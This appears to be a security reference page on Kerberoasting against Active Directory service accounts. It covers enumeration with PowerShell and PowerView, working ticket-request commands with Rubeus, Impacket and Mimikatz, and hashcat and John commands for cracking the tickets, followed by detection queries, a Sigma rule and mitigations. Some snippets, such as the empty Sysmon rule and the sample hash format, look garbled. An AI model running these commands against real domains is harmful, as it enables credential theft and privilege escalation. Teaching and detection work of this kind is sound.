🧠 Description

Kerberoasting is a post-exploitation technique that takes advantage of how Kerberos tickets are requested for service accounts. Attackers request TGS (Ticket Granting Service) tickets for service accounts with SPNs (Service Principal Names), then crack the encrypted portion offline to recover account passwords.

Why Kerberoasting Works:
  • Service accounts often have weak or reused passwords
  • TGS tickets are encrypted with the service account's NTLM hash
  • Anyone authenticated to the domain can request TGS tickets
  • Tickets can be captured offline for offline cracking
  • No special privileges required to initiate the attack

Attack Flow:

  1. Attacker gains a foothold on the network (user credentials)
  2. Enumerates service accounts with SPNs configured
  3. Requests TGS tickets for target service accounts
  4. Extracts tickets from memory or captures from network
  5. Cracks TGS encryption offline using dictionary/rainbow attacks
  6. Uses recovered credentials for further attacks

🏷️ Classification

  • MITRE ATT&CK: T1558.003 - Steal or Forge Kerberos Tickets
  • CAPEC: CAPEC-110 - Kerberoasting
  • NIST: CWE-521 - Weak Password Requirements
  • Detection Difficulty: Medium (high-volume ticket requests)
  • False Positive Risk: Low (legitimate tickets vs roastable tickets)

🎯 Attack Surface

Service accounts vulnerable to Kerberoasting:

  • Application Service Accounts: IIS, SQL Server, Exchange
  • Scheduled Task Accounts: Used for automated jobs
  • Web Service Accounts: SharePoint, web applications
  • Legacy Service Accounts: Often with old, weak passwords
  • Domain Admin Delegated Accounts: High-value targets
High-Value Targets:
Accounts with SPNs that are also members of high-privilege groups (Domain Admins, Account Operators, Backup Operators)

⚠️ Preconditions

  • Valid Domain Credentials: Any authenticated user account
  • Service Accounts: Domain accounts with SPNs configured
  • Network Access: Connectivity to Domain Controller (LDAP/kerberos)
  • No Special Privileges: Standard user can request TGS tickets
Why This is Dangerous:
Unlike most AD attacks that require Domain Admin, Kerberoasting only requires a normal user account. This makes it a common technique after initial compromise.

🔍 Detection

Windows Event Logs:

# Event ID 4769 - A Kerberos ticket was requested
# Look for accounts with encryption type rc4_hmac (normal for SPNs)
# Normal users should NOT be requesting many TGS tickets

# Query with PowerShell
Get-WinEvent -FilterHashtable @{LogName='Security';ID=4769} |
  Where-Object { $_.Message -match 'rc4_hmac' } |
  Select-Object TimeGenerated, @{N='User';E={$_.Properties[0].Value}},
    @{N='Service';E={$_.Properties[2].Value}}

Detection Metrics:

  • Unusually high volume of TGS requests from single user
  • TGS requests for service accounts outside user's normal activity
  • Requests from non-server hosts for many different SPNs
  • TGS requests followed by authentication attempts to multiple servers

Sysmon Rule:


  
    krbtgt
  

⚙️ Tool Automation

Rubeus

Kerberos attack toolkit. Kerberoast module with automatic ticket capture.

Impacket

GetUserSPNs.py for enumeration and ticket capture.

BloodHound

Identify users with SPNs and high-value targets.

hashcat

GPU-accelerated TGS hash cracking.

📋 Enumeration

Find Service Accounts with PowerShell:

# Find all accounts with SPNs
Get-ADUser -Filter {ServicePrincipalName -ne "$null"} -Properties ServicePrincipalName,PasswordLastSet,SamAccountName,memberOf |
  Select-Object SamAccountName,ServicePrincipalName,PasswordLastSet,@{n='Groups';e={$_.memberOf}} |
  Format-List

# Find high-value service accounts (members of privileged groups)
Get-ADUser -Filter {ServicePrincipalName -ne "$null"} -Properties ServicePrincipalName,memberOf |
  Where-Object { $_.memberOf -match "Domain Admins|Account Operators|Backup Operators" } |
  Select-Object SamAccountName,ServicePrincipalName

Using PowerView:

# Import PowerView
Import-Module ./PowerView.ps1

# Find all users with SPNs
Get-NetUser -SPN

# Find high-value kerberoastable users
Get-NetUser -SPN | Where-Object { $_.memberof -match "Domain Admins" }

💣 Basic Attack

Using Rubeus:

# Request TGS tickets for all accounts with SPNs
Rubeus.exe kerberoast

# Target specific user
Rubeus.exe kerberoast /user:sqlservice

# Request with specific encryption (rc4_hmac for easier cracking)
Rubeus.exe kerberoast /domain:target.local /outfile:tickets.txt

Using Impacket GetUserSPNs:

# Enumerate and dump TGS tickets
python3 GetUserSPNs.py -dc-ip 192.168.1.1 -request target.local/lowprivuser

# Save tickets to file for offline cracking
python3 GetUserSPNs.py -dc-ip 192.168.1.1 -requestfile tickets.txt target.local/lowprivuser

# Request specific account
python3 GetUserSPNs.py -dc-ip 192.168.1.1 -request -target-user sqladmin target.local/lowprivuser

Using Mimikatz:

# In memory viasekurlsa
mimikatz # sekurlsa::tickets /export

# Kerberos module
mimikatz # kerberos::list /export

# Or request specific ticket
mimikatz # kerberos::ask /user:sqlservice /domain:target.local /ticket:krbtgt

🔓 Cracking TGS Hashes

Hash Format (John The Ripper):

# Hashcat format for TGS (krb5tgs)
$krb5tgs$23$*user$realm$spn*hash$timestamp

# Example cracked hash format:
$krb5tgs$23$*sqlservice$TARGET.LOCAL$MSSQLSvcSRV01.target.local*$HMACMD5*hash*timestamp

Hashcat Commands:

# Crack with wordlist (fast)
hashcat -m 13100 -a 0 tickets.txt wordlist.txt

# With rules for mutations
hashcat -m 13100 -a 0 tickets.txt rockyou.txt -r rules/best64.rule

# Show cracked passwords
hashcat -m 13100 -a 0 tickets.txt wordlist.txt --show

# Benchmark
hashcat -m 13100 -b

John The Ripper:

# Crack with john
john --format=krb5tgs tickets.txt --wordlist=rockyou.txt

# Show results
john --format=krb5tgs tickets.txt --show
Performance Tip:
Use GPU-based cracking (hashcat) for 1000x faster speeds. A modern GPU can crack 10M+ MD5 hashes/second.

💥 Impact Analysis

Attack Impact:
  • Privilege Escalation: If service account is Domain Admin
  • Lateral Movement: Access to services the account can authenticate to
  • Persistence: Keep cracking different service accounts
  • Domain Dominance: KRBTGT account gives Golden Ticket capability

Real-World Scenario:

  • Domain account gets compromised via phishing
  • Attacker runs Kerberoasting, finds SQL Server service account
  • Cracks password: SQLService2020!
  • Uses SQL service account to access SQL Server
  • Executes xp_cmdshell to get shell on SQL server
  • Uses SQL server as pivot to other systems

🛡️ Mitigation

✅ Primary Defenses:
  • Strong Passwords: Use 25+ character random passwords for service accounts
  • Password Rotation: Automatically rotate service account passwords
  • Privilege Groups: Remove service accounts from privileged groups
  • DES/RC4 Disabled: Only allow AES encryption for Kerberos

Group Policy Settings:

# Computer Configuration > Administrative Templates > System > Kerberos
# "Support cryptographic algorithms" - Enable AES128 and AES256 only
# "Use RC4 for encryption" - Disabled

# Alternatively via PowerShell (Group Policy preferences)
Set-ADAccountControl -Identity "serviceaccount" -UseDesKeyOnly $false -AllowReversibleEncryption $false

Protected Users Security Group:

# Add service accounts to Protected Users group
# This prevents use of RC4 encryption and requires smartcard
Add-ADGroupMember -Identity "Protected Users" -Members "svc_account"

⚙️ Detection Logic

Sigma Rule - Kerberoasting Detection:

title: Kerberoasting SPN Request
id: kerberoasting-detection-001
status: experimental
description: Detects Kerberoasting activity
logsource:
  product: windows
  service: security
detection:
  selection:
    EventID: 4769
    TicketEncryptionType: 0x17  # RC4-HMAC
  filter:
    TargetUserName|endswith: '$'  # Exclude machine accounts
  condition: selection and not filter
fields:
  - TimeGenerated
  - TargetUserName
  - TargetDomainName
  - ServiceName
  - IpAddress
level: high

KQL Query (Microsoft Sentinel):

SecurityEvent
| where EventID == 4769
| where TicketEncryptionType == 23  // 0x17 = 23 decimal = RC4-HMAC
| extend AccountName = tostring(TargetUserName)
| where AccountName !endswith "$"
| summarize RequestCount = count() by AccountName, bin(TimeGenerated, 1h)
| where RequestCount > 10  // Alert threshold
Back to Active Directory